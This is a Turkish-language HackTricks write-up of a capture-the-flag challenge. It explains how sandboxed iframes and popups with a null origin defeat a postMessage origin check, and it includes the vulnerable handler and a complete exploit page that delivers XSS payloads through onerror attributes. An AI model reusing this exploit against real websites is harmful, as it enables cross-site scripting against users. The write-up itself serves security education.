hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
2024-02-10 18:14:16 +00:00

6 KiB
Raw Blame History

Iframe'lerle SOP Geçme - 1

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile öğrenin!

SOP-1'de Iframe'ler

NDevTK ve Terjanq tarafından oluşturulan bu zorlukta kodlanmış bir XSS'i sömürmeniz gerekmektedir.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Ana sorun, ana sayfa'nın data.body'yi göndermek için DomPurify kullandığıdır, bu yüzden kendi html verilerinizi o koda göndermek için e.origin !== window.origin'ı atlamalısınız.

Önerdikleri çözümü görelim.

SOP atlatma 1 (e.origin === null)

//example.org bir sandboxed iframe içine yerleştirildiğinde, sayfanın kökeni null olacaktır, yani window.origin === null olur. Bu yüzden <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> ile iframe yerleştirerek null kökenini zorlayabiliriz.

Eğer sayfa yerleştirilebilir olsaydı, bu korumayı bu şekilde atlayabilirdiniz (çerezlerin de SameSite=None olarak ayarlanması gerekebilir).

SOP atlatma 2 (window.origin === null)

Daha az bilinen bir gerçek, sandbox değeri allow-popups ayarlandığında, ılan popup'ın tüm sandbox özelliklerini miras alacağıdır, ancak allow-popups-to-escape-sandbox ayarlanmamışsa.
Bu nedenle, null kökenli bir sayfadan popup açmak, popup içindeki window.origin'in de null olmasını sağlar.

Sorunun Çözümü

Bu nedenle, bu sorun için, bir iframe oluşturabilir, zayıf XSS kodu işleyicisi (/iframe.php) olan bir sayfayı popup olarak açabilirsiniz, çünkü hem window.origin === e.origin hem de ikisi de null olduğu için XSS'yi istismar edecek bir payload gönderebilirsiniz.

Bu payload, tanımlayıcıyı alacak ve bir XSS'yi üst sayfaya (popup'ı açan sayfa) geri gönderecek, ki bu da zayıf /iframe.php'ye konum değiştirecektir. Tanımlayıcı bilindiği için, window.origin === e.origin koşulu sağlanmasa da (hatırlayın, köken, null olan iframe'den gelen popup'tır) data.identifier === identifier olacaktır. Ardından, XSS tekrar tetiklenecektir, bu sefer doğru kökende.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!